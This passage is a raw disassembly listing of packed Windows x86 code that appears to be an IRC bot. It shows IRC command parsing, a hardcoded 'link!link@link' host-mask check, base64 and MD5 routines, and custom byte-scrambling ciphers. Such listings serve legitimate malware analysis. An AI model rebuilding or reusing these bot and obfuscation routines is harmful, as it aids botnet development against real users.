		mov	ecx, [ecx]
		cmp	byte ptr [ecx+eax-1], 1
		jz	short loc_40A059
		add	[ebp+arg_C], 4
		inc	edi
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40A01F
		jmp	short loc_40A073
; ---------------------------------------------------------------------------


loc_40A04A:				; CODE XREF: sub_409918+6EBj
		mov	eax, [esi+8]
		mov	[ebp+var_4], 1
		mov	[ebp+arg_0], eax
		jmp	short loc_40A093
; ---------------------------------------------------------------------------


loc_40A059:				; CODE XREF: sub_409918+721j
		mov	ecx, edi
		shl	ecx, 2
		mov	edx, [ecx+esi]
		and	byte ptr [edx+eax-1], 0
		mov	edx, [ebp+arg_10]
		mov	ecx, [ecx+edx]
		and	byte ptr [ecx+eax-1], 0
		jmp	short loc_40A093
; ---------------------------------------------------------------------------


loc_40A073:				; CODE XREF: sub_409918+702j
					; sub_409918+70Aj ...
		mov	eax, [ebp+arg_10]
		shl	edi, 2
		push	dword ptr [edi+eax]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, [edi+esi]
		cmp	byte ptr [ecx+eax-1], 1
		lea	eax, [ecx+eax-1]
		jnz	short loc_40A093
		mov	byte ptr [eax],	1


loc_40A093:				; CODE XREF: sub_409918+6CAj
					; sub_409918+73Fj ...
		push	offset byte_41A1E8
		push	[ebp+arg_0]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A0AC
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_0], eax


loc_40A0AC:				; CODE XREF: sub_409918+78Cj
		push	7Ah
		lea	eax, [ebp+var_338]
		push	0
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_10]
		and	[ebp+arg_C], 0
		mov	edi, [eax]
		push	edi
		mov	[ebp+var_18], edi
		call	sub_4114BE	; strlen
		add	esp, 10h
		cmp	eax, 3
		mov	[ebp+var_10], eax
		jb	loc_40A182


loc_40A0DD:				; CODE XREF: sub_409918+7FFj
		mov	cl, [eax+edi-1]
		cmp	cl, 20h
		jnz	short loc_40A0E9
		dec	eax
		jmp	short loc_40A111
; ---------------------------------------------------------------------------


loc_40A0E9:				; CODE XREF: sub_409918+7CCj
		cmp	byte ptr [eax+edi-3], 20h
		jnz	short loc_40A119
		cmp	byte ptr [eax+edi-2], 2Dh
		jnz	short loc_40A119
		cmp	cl, 7Ah
		jg	short loc_40A119
		movsx	ecx, cl
		mov	[ebp+arg_C], 1
		sub	eax, 3
		mov	[ebp+ecx+var_338], 1


loc_40A111:				; CODE XREF: sub_409918+7CFj
		cmp	eax, 3
		mov	[ebp+var_10], eax
		jnb	short loc_40A0DD


loc_40A119:				; CODE XREF: sub_409918+7D6j
					; sub_409918+7DDj ...
		cmp	[ebp+arg_C], 0
		jz	short loc_40A182
		mov	edi, [ebp+arg_10]
		and	[ebp+var_C], 0
		mov	[ebp+var_8], esi
		sub	[ebp+var_8], edi


loc_40A12C:				; CODE XREF: sub_409918+868j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40A182
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_18]
		add	ecx, edx
		cmp	eax, ecx
		jb	short loc_40A176
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jz	short loc_40A163
		cmp	[ebp+var_C], ecx
		jz	short loc_40A160
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+edi-4]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, [edi-4]
		and	byte ptr [eax+ecx], 0
		xor	ecx, ecx


loc_40A160:				; CODE XREF: sub_409918+830j
		mov	[ebp+arg_C], ecx


loc_40A163:				; CODE XREF: sub_409918+82Bj
		mov	eax, [edi]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		add	eax, edi
		mov	edx, [eax]
		and	byte ptr [edx],	0
		mov	[edi], ecx
		mov	[eax], ecx


loc_40A176:				; CODE XREF: sub_409918+824j
		inc	[ebp+var_C]
		add	edi, 4
		cmp	[ebp+var_C], 10h
		jb	short loc_40A12C


loc_40A182:				; CODE XREF: sub_409918+7BFj
					; sub_409918+805j ...
		mov	edi, offset byte_41A1E8
		push	edi
		push	dword ptr [esi+8]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A19C
		push	[ebp+var_14]
		push	ebx
		jmp	short loc_40A216
; ---------------------------------------------------------------------------


loc_40A19C:				; CODE XREF: sub_409918+87Cj
		add	esi, 10h
		cmp	dword ptr [esi], 0
		jz	loc_40A231
		push	offset asc_415078 ; "*"
		push	dword ptr [ebx]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A20E
		push	dword ptr [ebx]
		push	edi
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_40A20E
		push	dword ptr [ebx]
		call	sub_4114BE	; strlen
		cmp	eax, 4
		pop	ecx
		ja	short loc_40A231
		mov	edi, [ebx]
		push	edi
		call	sub_4114BE	; strlen
		cmp	byte ptr [eax+edi-1], 25h
		pop	ecx
		jnz	short loc_40A231
		push	edi
		call	sub_4114BE	; strlen
		mov	ecx, [ebx]
		and	byte ptr [eax+ecx-1], 0
		call	sub_40B480
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		push	dword ptr [ebx]
		mov	edi, edx
		inc	edi
		call	sub_41151C	; atoi
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jl	short loc_40A231


loc_40A20E:				; CODE XREF: sub_409918+8A0j
					; sub_409918+8AEj
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		push	esi


loc_40A216:				; CODE XREF: sub_409918+882j
		lea	eax, [ebp+var_338]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407A76
		add	esp, 1Ch


loc_40A231:				; CODE XREF: sub_409918+44j
					; sub_409918+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A236	proc near		; CODE XREF: sub_408D81+70p
					; sub_409918+648p ...

var_1184	= byte ptr -1184h
var_184		= byte ptr -184h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_78		= dword	ptr -78h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1184h
		call	sub_411540
		push	ebx
		lea	eax, [ebp+var_84]
		push	10h
		push	eax
		lea	eax, [ebp+var_44]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_1184]
		push	eax
		mov	[ebp+var_4], ebx
		push	[ebp+arg_0]
		call	sub_4058EE
		push	offset a302	; "302"
		push	[ebp+var_40]
		call	sub_411924	; _strcmpi
		add	esp, 1Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		cmp	[ebp+var_44], ebx
		mov	dword_419D4C, eax
		jz	loc_40A404
		cmp	[ebp+var_40], ebx
		jz	loc_40A404
		push	esi
		push	edi
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_40]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A2B9
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_40]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A32B


loc_40A2B9:				; CODE XREF: sub_40A236+6Ej
		mov	eax, [ebp+var_38]
		cmp	eax, ebx
		jz	short loc_40A32B
		cmp	[ebp+var_34], ebx
		jnz	short loc_40A32B
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_40A32B
		cmp	byte ptr [eax+1], 3Dh
		jnz	short loc_40A32B
		add	eax, 2
		cmp	byte ptr [eax],	0
		jz	short loc_40A32B
		push	eax
		call	sub_40A5D0
		test	eax, eax
		pop	ecx
		jz	short loc_40A32B
		mov	eax, [ebp+var_38]
		lea	ecx, [eax+1]
		add	eax, 2
		push	ecx
		push	eax
		call	sub_40A44E
		push	eax
		mov	eax, [ebp+var_38]
		inc	eax
		push	eax
		call	sub_40A82E
		mov	esi, eax
		mov	eax, [ebp+var_38]
		inc	eax
		push	esi
		push	eax
		call	sub_40A7AE
		mov	eax, [ebp+var_38]
		push	0Dh
		and	byte ptr [esi+eax+1], 0
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+var_78]
		push	[ebp+var_38]
		call	sub_4058EE
		add	esp, 2Ch


loc_40A32B:				; CODE XREF: sub_40A236+81j
					; sub_40A236+88j ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_44]
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A389
		cmp	off_418E18, ebx
		jz	short loc_40A390
		mov	esi, offset off_418E18
		mov	edi, esi


loc_40A34D:				; CODE XREF: sub_40A236+142j
		push	dword ptr [edi]
		call	sub_40B5E1
		mov	eax, [ebp+var_44]
		push	dword ptr [edi]
		inc	eax
		push	eax
		call	sub_4078A3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_40A37C
		push	dword ptr [esi]
		call	sub_40B5A8
		add	esi, 4
		inc	ebx
		pop	ecx
		mov	edi, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_40A34D
		jmp	short loc_40A390
; ---------------------------------------------------------------------------


loc_40A37C:				; CODE XREF: sub_40A236+12Fj
		push	off_418E18[ebx*4]
		call	sub_40B5A8
		pop	ecx


loc_40A389:				; CODE XREF: sub_40A236+106j
		mov	[ebp+var_4], 1


loc_40A390:				; CODE XREF: sub_40A236+10Ej
					; sub_40A236+144j
		push	1
		lea	esi, [ebp+var_184]
		xor	edi, edi
		pop	eax
		dec	esi


loc_40A39C:				; CODE XREF: sub_40A236+198j
		mov	ecx, [ebp+var_44]
		add	ecx, eax
		cmp	byte ptr [ecx],	21h
		jnz	short loc_40A3B1
		and	[ebp+eax+var_105], 0
		push	1
		pop	edi


loc_40A3B1:				; CODE XREF: sub_40A236+16Ej
		test	edi, edi
		jnz	short loc_40A3BE
		mov	dl, [ecx]
		mov	[ebp+eax+var_105], dl


loc_40A3BE:				; CODE XREF: sub_40A236+17Dj
		mov	dl, [ecx]
		mov	[esi+eax], dl
		cmp	byte ptr [ecx],	0
		jz	short loc_40A3D0
		inc	eax
		cmp	eax, 80h
		jl	short loc_40A39C


loc_40A3D0:				; CODE XREF: sub_40A236+190j
		lea	eax, [ebp+var_84]
		and	[ebp+var_85], 0
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_184]
		and	[ebp+var_105], 0
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_4]
		call	sub_409918
		add	esp, 14h
		pop	edi
		pop	esi


loc_40A404:				; CODE XREF: sub_40A236+4Cj
					; sub_40A236+55j
		pop	ebx
		leave
		retn
sub_40A236	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A407	proc near		; CODE XREF: kkrunchy:00411431p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		cmp	byte ptr [edi],	0
		jz	short loc_40A42A
		push	esi


loc_40A412:				; CODE XREF: sub_40A407+20j
		push	edi
		call	sub_405A76
		push	edi
		mov	esi, eax
		call	sub_40A236
		cmp	byte ptr [esi],	0
		pop	ecx
		pop	ecx
		mov	edi, esi
		jnz	short loc_40A412
		pop	esi


loc_40A42A:				; CODE XREF: sub_40A407+8j
		pop	edi
		retn
sub_40A407	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A42C	proc near		; CODE XREF: kkrunchy:004112B9p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_419D50
		rep stosd
		pop	edi


loc_40A43A:				; CODE XREF: sub_40A42C+1Fj
		movzx	ecx, byte_415194[eax]
		mov	byte_419D50[ecx], al
		inc	eax
		cmp	eax, 40h
		jb	short loc_40A43A
		retn
sub_40A42C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A44E	proc near		; CODE XREF: sub_407A76+24Ap
					; sub_407A76+8A8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4114BE	; strlen
		cmp	eax, 2
		pop	ecx
		mov	[ebp+arg_0], eax
		jnb	short loc_40A46B
		xor	eax, eax
		jmp	loc_40A517
; ---------------------------------------------------------------------------


loc_40A46B:				; CODE XREF: sub_40A44E+14j
		push	ebx
		push	edi
		push	1
		xor	edx, edx
		xor	ecx, ecx
		pop	edi


loc_40A474:				; CODE XREF: sub_40A44E+BFj
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_419D50[ebx]
		shl	bl, 2
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_419D50[ebx]
		shr	bl, 4
		or	[eax], bl
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_419D50[ebx]
		shl	bl, 4
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_419D50[ebx]
		shr	bl, 2
		or	[eax], bl
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_419D50[ebx]
		shl	bl, 6
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_419D50[ebx]
		or	[eax], bl
		inc	ecx
		inc	edi
		jmp	loc_40A474
; ---------------------------------------------------------------------------


loc_40A512:				; CODE XREF: sub_40A44E+2Aj
					; sub_40A44E+4Bj ...
		pop	edi
		lea	eax, [edx-1]
		pop	ebx


loc_40A517:				; CODE XREF: sub_40A44E+18j
		pop	esi
		pop	ebp
		retn
sub_40A44E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A51A	proc near		; CODE XREF: sub_407A76+1CFp
					; sub_407A76+80Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	1
		movzx	eax, byte ptr [edi]
		shr	eax, 2
		pop	esi
		mov	al, byte_415194[eax]
		mov	[edx], al
		mov	cl, [edi]
		and	cl, 3
		mov	eax, esi
		shl	cl, 4
		cmp	[ebp+arg_8], esi
		jz	short loc_40A5B7


loc_40A546:				; CODE XREF: sub_40A51A+9Bj
		movzx	ebx, byte ptr [esi+edi]
		movzx	ecx, cl
		shr	ebx, 4
		or	ebx, ecx
		mov	cl, byte_415194[ebx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	cl, 0Fh
		inc	eax
		shl	cl, 2
		inc	esi
		cmp	esi, [ebp+arg_8]
		jz	short loc_40A5B7
		movzx	ebx, byte ptr [esi+edi]
		movzx	ecx, cl
		shr	ebx, 6
		or	ebx, ecx
		mov	cl, byte_415194[ebx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	ecx, 3Fh
		inc	eax
		mov	cl, byte_415194[ecx]
		mov	[eax+edx], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+arg_8]
		jz	short loc_40A5C7
		movzx	ecx, byte ptr [esi+edi]
		shr	ecx, 2
		mov	cl, byte_415194[ecx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	cl, 3
		inc	eax
		shl	cl, 4
		inc	esi
		cmp	esi, [ebp+arg_8]
		jnz	short loc_40A546


loc_40A5B7:				; CODE XREF: sub_40A51A+2Aj
					; sub_40A51A+4Fj
		movzx	ecx, cl
		or	ecx, 1
		mov	cl, byte_415194[ecx]
		mov	[eax+edx], cl
		inc	eax


loc_40A5C7:				; CODE XREF: sub_40A51A+7Bj
		and	byte ptr [eax+edx], 0
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A51A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A5D0	proc near		; CODE XREF: sub_407A76+20Fp
					; sub_40A236+A3p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_4114BE	; strlen
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		jle	short loc_40A5FC


loc_40A5E3:				; CODE XREF: sub_40A5D0+2Aj
		mov	dl, [ecx+esi]
		movsx	edi, dl
		cmp	byte_419D50[edi], 0
		jnz	short loc_40A5F7
		cmp	dl, 41h
		jnz	short loc_40A602


loc_40A5F7:				; CODE XREF: sub_40A5D0+20j
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A5E3


loc_40A5FC:				; CODE XREF: sub_40A5D0+11j
		push	1
		pop	eax


loc_40A5FF:				; CODE XREF: sub_40A5D0+34j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A602:				; CODE XREF: sub_40A5D0+25j
		xor	eax, eax
		jmp	short loc_40A5FF
sub_40A5D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A606	proc near		; CODE XREF: kkrunchy:004112CEp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40A8A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_40A8CC
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_419E54
		call	sub_40A96B
		add	esp, 18h
		lea	eax, byte_419E54
		push	10h
		pop	edx


loc_40A63E:				; CODE XREF: sub_40A606+40j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40A63E
		leave
		retn
sub_40A606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A64A	proc near		; CODE XREF: sub_407A76+15p
					; sub_40D6E0+F9p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40A655:				; CODE XREF: sub_40A64A+2Dj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40A679
		cmp	ecx, 61h
		jb	short loc_40A663
		sub	ecx, 20h


loc_40A663:				; CODE XREF: sub_40A64A+14j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_419E54[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40A655
; ---------------------------------------------------------------------------


loc_40A679:				; CODE XREF: sub_40A64A+Fj
		pop	esi
		pop	ebp
		retn
sub_40A64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A67C	proc near		; CODE XREF: kkrunchy:004112D6p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_40A8A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_40A8CC
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_419E68
		call	sub_40A96B
		add	esp, 18h
		lea	esi, dword_419E68
		mov	edi, esi
		push	10h
		pop	ecx


loc_40A6B8:				; CODE XREF: sub_40A67C+44j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40A6B8
		pop	edi
		pop	esi
		leave
		retn
sub_40A67C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6C6	proc near		; CODE XREF: sub_40A798+Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		xor	esi, esi
		test	eax, eax
		mov	[ebp+var_8], esi
		jle	short loc_40A72A
		push	ebx
		push	edi
		push	10h
		mov	edi, [ebp+arg_8]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_1], dl
		shl	[ebp+var_1], 2


loc_40A6EA:				; CODE XREF: sub_40A6C6+60j
		mov	eax, [ebp+arg_0]
		push	10h
		lea	ecx, [esi+eax]
		mov	eax, esi
		cdq
		pop	esi
		add	byte ptr [ecx],	0CDh
		idiv	esi
		movzx	eax, byte ptr [edx+edi]
		push	10h
		pop	ebx
		lea	esi, [edx+edi]
		cdq
		idiv	ebx
		mov	al, [ecx]
		sub	al, [edx+edi]
		mov	[ecx], al
		mov	dl, [esi]
		mov	esi, [ebp+var_8]
		not	dl
		xor	dl, al
		xor	dl, [ebp+var_1]
		inc	dl
		inc	esi
		cmp	esi, [ebp+arg_4]
		mov	[ecx], dl
		mov	[ebp+var_8], esi
		jl	short loc_40A6EA
		pop	edi
		pop	ebx


loc_40A72A:				; CODE XREF: sub_40A6C6+10j
		pop	esi
		leave
		retn
sub_40A6C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A72D	proc near		; CODE XREF: sub_40A7AE+Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	edi
		xor	edi, edi
		test	eax, eax
		mov	[ebp+var_8], edi
		jle	short loc_40A795
		push	ebx
		push	esi
		push	10h
		mov	esi, [ebp+arg_8]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_1], dl
		shl	[ebp+var_1], 2


loc_40A751:				; CODE XREF: sub_40A72D+64j
		mov	eax, [ebp+arg_0]
		push	10h
		lea	ecx, [edi+eax]
		mov	eax, edi
		cdq
		pop	edi
		mov	bl, [ecx]
		idiv	edi
		dec	bl
		xor	bl, [ebp+var_1]
		mov	[ecx], bl
		mov	al, [edx+esi]
		not	al
		xor	al, bl
		mov	byte ptr [ebp+arg_8+3],	al
		mov	[ecx], al
		movzx	eax, byte ptr [edx+esi]
		add	edx, esi
		cdq
		idiv	edi
		mov	edi, [ebp+var_8]
		mov	al, [edx+esi]
		add	al, byte ptr [ebp+arg_8+3]
		add	al, 33h
		inc	edi
		cmp	edi, [ebp+arg_4]
		mov	[ecx], al
		mov	[ebp+var_8], edi
		jl	short loc_40A751
		pop	esi
		pop	ebx


loc_40A795:				; CODE XREF: sub_40A72D+10j
		pop	edi
		leave
		retn
sub_40A72D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A798	proc near		; CODE XREF: sub_407A76+1AEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_419E68
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40A6C6
		add	esp, 0Ch
		retn
sub_40A798	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7AE	proc near		; CODE XREF: sub_407A76+266p
					; sub_409918+5CBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_419E68
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40A72D
		add	esp, 0Ch
		retn
sub_40A7AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7C4	proc near		; CODE XREF: sub_407A76+1BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		lea	esi, [eax+4]
		push	ebx
		push	eax
		push	esi
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		call	sub_40B480
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_40A803


loc_40A7E8:				; CODE XREF: sub_40A7C4+3Dj
		mov	cl, [edi+esi]
		push	1
		add	cl, al
		push	eax
		xor	cl, al
		mov	[edi+esi], cl
		call	sub_411796	; _lrotl
		add	eax, edi
		inc	edi
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jl	short loc_40A7E8


loc_40A803:				; CODE XREF: sub_40A7C4+22j
		lea	edi, [ebx-1]


loc_40A806:				; CODE XREF: sub_40A7C4+5Ej
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A824
		mov	cl, [edi+esi]
		push	1
		add	cl, al
		push	eax
		xor	cl, al
		mov	[edi+esi], cl
		call	sub_411796	; _lrotl
		pop	ecx
		add	eax, edi
		pop	ecx
		dec	edi
		jmp	short loc_40A806
; ---------------------------------------------------------------------------


loc_40A824:				; CODE XREF: sub_40A7C4+45j
		mov	[esi-4], eax
		pop	edi
		lea	eax, [ebx+4]
		pop	esi
		pop	ebx
		retn
sub_40A7C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A82E	proc near		; CODE XREF: sub_407A76+257p
					; sub_409918+5BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		push	edi
		mov	ebx, [esi]
		push	eax
		lea	eax, [esi+4]
		push	eax
		push	esi
		call	sub_4117A2	; memmove
		sub	[ebp+arg_4], 4
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+arg_4], edi
		jle	short loc_40A876


loc_40A858:				; CODE XREF: sub_40A82E+46j
		sub	ebx, edi
		push	1
		push	ebx
		call	sub_41179C	; _lrotr
		mov	ebx, eax
		mov	al, [edi+esi]
		xor	al, bl
		pop	ecx
		sub	al, bl
		pop	ecx
		mov	[edi+esi], al
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_40A858


loc_40A876:				; CODE XREF: sub_40A82E+28j
		mov	eax, [ebp+arg_4]
		lea	edi, [eax-1]


loc_40A87C:				; CODE XREF: sub_40A82E:loc_40A89Aj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A89C
		sub	ebx, edi
		push	1
		push	ebx
		call	sub_41179C	; _lrotr
		mov	ebx, eax
		mov	al, [edi+esi]
		xor	al, bl
		pop	ecx
		sub	al, bl
		pop	ecx
		mov	[edi+esi], al
		dec	edi


loc_40A89A:				; DATA XREF: kkrunchy:00415F24o
					; kkrunchy:00415F68o ...
		jmp	short loc_40A87C
; ---------------------------------------------------------------------------


loc_40A89C:				; CODE XREF: sub_40A82E+51j
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A82E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8A4	proc near		; CODE XREF: sub_40A606+Ap
					; sub_40A67C+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+10h], 0
		and	dword ptr [eax+14h], 0
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_40A8A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8CC	proc near		; CODE XREF: sub_40A606+19p
					; sub_40A67C+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	eax, [esi+10h]
		lea	ecx, [eax+ebx*8]
		cmp	ecx, eax
		mov	[esi+10h], ecx
		jnb	short loc_40A8E8
		inc	dword ptr [esi+14h]


loc_40A8E8:				; CODE XREF: sub_40A8CC+17j
		mov	ecx, ebx
		shr	ecx, 1Dh
		add	[esi+14h], ecx
		shr	eax, 3
		and	eax, 3Fh
		jz	short loc_40A928
		push	40h
		lea	ecx, [eax+esi+18h]
		pop	edi
		sub	edi, eax
		cmp	ebx, edi
		jnb	short loc_40A90C
		push	ebx
		push	[ebp+arg_4]
		push	ecx
		jmp	short loc_40A95E
; ---------------------------------------------------------------------------


loc_40A90C:				; CODE XREF: sub_40A8CC+37j
		push	edi
		push	[ebp+arg_4]
		push	ecx
		call	sub_4114D0	; memcpy
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_40AA38
		add	[ebp+arg_4], edi
		add	esp, 14h
		sub	ebx, edi


loc_40A928:				; CODE XREF: sub_40A8CC+2Aj
		cmp	ebx, 40h
		jb	short loc_40A956
		mov	edi, ebx
		shr	edi, 6


